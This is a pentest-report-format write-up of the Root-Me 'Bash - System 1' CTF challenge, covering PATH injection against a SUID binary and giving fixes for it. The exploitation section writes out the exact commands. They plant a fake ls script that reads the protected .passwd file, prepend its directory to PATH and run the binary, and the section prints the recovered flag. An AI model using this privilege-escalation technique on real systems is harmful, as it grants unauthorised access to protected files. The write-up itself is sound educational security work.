PENTEST REPORT

Bash - System 1 – Root-Me Writeup

CLIENT	REPORT AUTHOR	AUTHOR ROLE	PERIOD
Root-Me	Philippe Bécué	Pen-tester	28/02/2026 - 28/02/2026

This report is published with the client's consent, once vulnerabilities have been remediated.

Table of Contents

01 **Warning — Simulation / CTF**
Legal information, privacy, and terms of use for this document

02 **Demo Video**
Video demonstration of the exploitation or mission progress

03 **Vulnerability Table**
Severity classification grid and CVSS scores used in this report

04 **Participants List**
Presentation of the team members who participated in the penetration testing mission

05 **Scope**
Definition of the audit scope — systems and applications included and excluded from the test

06 **Information Gathering**
Collection of public information on the target: WHOIS, DNS, SSL certificates, exposed technologies

07 **OSINT**
Open-source intelligence — social media, data breaches, digital footprint

08 **Enumeration**
Discovery of services, open ports, software versions, and identified entry points

09 **Vulnerability Analysis**
Identification, qualification, and classification of discovered security vulnerabilities

10 **Exploitation**
Technical demonstration of the exploitation of confirmed vulnerabilities

11 **Post-Exploitation**
Post-compromise actions — privilege escalation, persistence, and lateral movement

12 **Vulnerabilities Summary Table**
Consolidated summary of all vulnerabilities with their CVSS score and criticality

13 **Conclusion**
Mission summary, overall security level assessment, and risk evaluation

14 **Solution**
Technical and organizational recommendations to remediate identified vulnerabilities

01

Warning — Simulation / CTF

This document is the report of a mission carried out in a simulated environment, for exclusively educational and training purposes. The targeted infrastructure is a virtual machine or a Capture The Flag (CTF) type environment, intentionally vulnerable and designed for learning offensive and defensive cybersecurity techniques. No real production systems, personal data, or third-party infrastructure were involved during this mission.

The techniques, tools, and methods described in this report are presented for educational purposes. Reproducing them on computer systems without explicit authorization from the owner is illegal and subject to criminal prosecution under applicable cybercrime legislation. The author disclaims any responsibility for the misuse of the information contained in this document for malicious or unauthorized purposes.

This report is part of a process to improve skills and document expertise in offensive security. It may be shared for demonstration or professional reference purposes in compliance with the terms of use of the platform or the organizer of the challenge concerned. Any partial or total reproduction for commercial purposes is prohibited without prior authorization from the author.

02

Demo Video

A video demonstration of this mission is available online. The video illustrates the exploitation process and the techniques used.

Video

VIDEO LINK

https://youtu.be/ge8IeJ1_Z74

03

Vulnerability Table

The following table defines the severity levels and corresponding CVSS score ranges used throughout the document to assess vulnerability and risk impact.

SEVERITY	CVSS V3 SCORE RANGE	DEFINITION
CRITICAL	9.0 – 10.0	Exploitation is simple and generally leads to total system compromise. It is advised to establish an action plan and apply the fix immediately.
HIGH	7.0 – 8.9	Exploitation is more difficult but can lead to privilege escalation and potentially data loss or service interruption. It is advised to establish an action plan and apply the fix as soon as possible.
MEDIUM	4.0 – 6.9	Vulnerabilities exist but are not directly exploitable or require additional steps such as social engineering. It is advised to establish an action plan and apply the fix after resolving higher-priority issues.
LOW	0.1 – 3.9	Vulnerabilities are not exploitable but would reduce the organization's attack surface. It is advised to establish an action plan and apply the fix during the next maintenance window.
INFORMATIONAL	N/A	No vulnerabilities exist. Additional information is provided regarding observations during testing, strong controls, and supplementary documentation.

04

Participants List

NAME	ROLE	EMAIL	ENVIRONMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Windows

05

Scope

Test Scope

NAME	DETAILS
challenge02.root-me.org:2222	Root-Me Challenge – Bash - System 1 (App-Script, Easy, 5 pts)

Scope Exclusions

No exclusions defined. Click "Add Exclusion" to get started.

06

Information Gathering

The challenge provides SSH access to the server `challenge02.root-me.org` on port `2222`. The connection is made with the credentials provided in the statement:

```
ssh -p 2222 app-script-ch11@challenge02.root-me.org
```

Once connected, we observe that the user's home directory points directly to the challenge folder: `/challenge/app-script/ch11/`. A detailed listing reveals the challenge structure:

```
ls -la /challenge/app-script/ch11/
-rwsr-xr-x 1 app-script-ch11-cracked app-script-ch11  ... ch11
-r-------- 1 app-script-ch11-cracked app-script-ch11  ... .passwd
```

Two elements immediately catch the eye. The `ch11` binary has the SUID bit set (the `s` in `-rws`), meaning it executes with the rights of its owner `app-script-ch11-cracked`, regardless of who launches it. The `.passwd` file, the target of the attack, is read-only for its owner only (`-r--------`): it is inaccessible directly from our account.

The challenge statement also provides the C source code for the `ch11` binary, which is a valuable aid in understanding exactly what it does before attempting anything.

07

OSINT

No content has been added to this section yet.

08

Enumeration

Analysis of the provided source code

The binary's source code is available in the challenge statement. This is the essential starting point for all analysis:

```
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
    setreuid(geteuid(), geteuid());
    system("ls /challenge/app-script/ch11/.passwd");
    return 0;
}
```

The program does two things. First, `setreuid(geteuid(), geteuid())` synchronizes the Real UID with the Effective UID of the process. On Linux, each process has these two distinct identifiers: the Real UID represents who launched the program, and the Effective UID represents with what rights it actually runs. On an SUID binary, these two values differ at startup (Real UID = attacker, Effective UID = SUID owner). This line forces them to be identical to prevent a bash subshell from detecting this divergence and dropping elevated privileges – an internal bash protection that checks if `real_uid != effective_uid` and calls `setuid(real_uid)` in that case. Then, `system("ls /challenge/app-script/ch11/.passwd")` calls the `ls` command **without an absolute path**.

Searching for writable directories

To exploit the vulnerability, one must be able to write a file to the system. Standard directories like `/tmp` are locked down on this challenge. The following command identifies all directories where writing is allowed:

```
find / -writable -type d 2>/dev/null
/var/lib/php5
/var/tmp
...
```

After testing, the `/var/lib/php5` directory is indeed accessible for writing:

```
echo '1' > /var/lib/php5/test.txt
cat /var/lib/php5/test.txt
1
```

09

Vulnerability Analysis

PATH Injection on SUID binary

The vulnerability relies on the combination of two elements: an SUID binary that delegates execution to a subshell via `system()`, and the use of a relative command name (`ls`) instead of an absolute path (`/bin/ls`).

When `system()` is called, it internally executes:

```
execve("/bin/sh", ["sh", "-c", "ls /challenge/..."], environ)
```

The shell thus receives the `ls` command to resolve. It iterates through the `PATH` environment variable from left to right and executes the first binary named `ls` it encounters. However, the `PATH` variable is inherited from the user who launched the SUID binary. If the attacker places their own directory first in the PATH, the shell will find their fake `ls` before the real `/bin/ls`.

The `setreuid` mechanism present in the code ensures that bash will not thwart the exploit by dropping elevated rights. Without this line, bash would detect that Real UID and Effective UID differ and silently reduce its own privileges before executing the command.

The golden rule not followed here is: in any SUID program, **always use absolute paths** and **manually redefine the PATH** at the beginning of the program.

10

Exploitation

Creating the fake ls binary

In the identified writable directory, we create a shell script that impersonates `ls`. Instead of listing files, it displays the content of the target:

```
echo '#!/bin/sh' > /var/lib/php5/ls
echo 'cat /challenge/app-script/ch11/.passwd' >> /var/lib/php5/ls
chmod +x /var/lib/php5/ls
```

The shebang `#!/bin/sh` tells the system which interpreter to use. Without `chmod +x`, the shell would refuse to execute the file despite its presence in the PATH.

Injecting into the PATH variable

We place our directory at the beginning of the PATH, before all system directories. The keyword `export` is essential: without it, the variable would not be passed to child processes, and the `ch11` binary would use its own PATH inherited from the login shell.

```
export PATH=/var/lib/php5:$PATH
```

We can verify that bash will indeed find our fake `ls` first:

```
which ls
/var/lib/php5/ls
```

Triggering the exploit

All that remains is to execute the SUID binary. The relative path alone is not enough – the current directory is never in the PATH by default on Linux. It is imperative to specify the path:

```
./ch11
!oPe96a/.s8d5
```

The complete execution chain: `ch11` executes with the SUID owner's Effective UID → `setreuid` synchronizes the Real UID → `system()` forks a bash that inherits our PATH → bash finds `/var/lib/php5/ls` first → our script runs with

elevated rights → `cat` reads `.passwd` and displays the flag.

11

Post-Exploitation

No content has been added to this section yet.

12

Vulnerabilities Summary Table

PATH Injection on SUID binary

HIGH

APPLICATION

ch11 (SUID binary)

TYPE

Privilege Escalation

MAIN IMPACT

Execution of an arbitrary binary with the SUID owner's rights via PATH variable manipulation

13

Conclusion

This challenge illustrates a very classic class of vulnerabilities in a Unix environment: **PATH Injection on SUID binary**. The complete attack chain can be summarized in four steps:

1. Reading the provided source code → identification of `system("ls ...")` with a relative path
2. Searching for a writable directory on the system via `find / -writable -type d`
3. Creating a fake `ls` binary that reads the protected file, then injecting the directory at the beginning of the PATH
4. Executing the SUID binary which triggers our payload with its elevated rights

The most interesting technical point of this challenge is the role of `setreuid(geteuid(), geteuid())`. Far from being a protection, this line is precisely what makes the exploit *reliable* on modern bash versions: it neutralizes bash's internal anti-SUID protection by synchronizing Real UID and Effective UID before the subshell call.

This challenge confirms that the resource cited by root-me remains relevant — Lesson Two of the dangers of SUID scripts: never call a binary by its relative name in a privileged program.

14

Solution

1. Use absolute paths in system calls

The primary fix is to replace the relative command name with its absolute path. The program would then no longer be sensitive to the value of the `PATH` variable:

```
// Vulnerable
system("ls /challenge/app-script/ch11/.passwd");

// Fixed
system("/bin/ls /challenge/app-script/ch11/.passwd");
```

2. Manually redefine the PATH at the beginning of the program

Additionally, any SUID program should redefine the PATH to a minimal, trusted set before any call to `system()` or an exec that relies on name resolution:

```
putenv("PATH=/usr/local/bin:/usr/bin:/bin");
system("/bin/ls /challenge/app-script/ch11/.passwd");
```

3. Prefer execve() over system()

`system()` necessarily goes through an intermediate shell, introducing an attack surface (PATH, IFS, shell environment variables). The `execve()` function directly executes the program without invoking a shell, eliminating this surface:

```
char *args[] = {"/bin/ls", "/challenge/app-script/ch11/.passwd", NULL};
execve("/bin/ls", args, NULL);
```

4. Apply the principle of least privilege

If the binary does not need SUID bit for its entire execution duration, it should restore elevated rights as soon as they are no longer necessary via `setuid(getuid())`, in accordance with the principle of least privilege described in Syracuse University's SUID resources.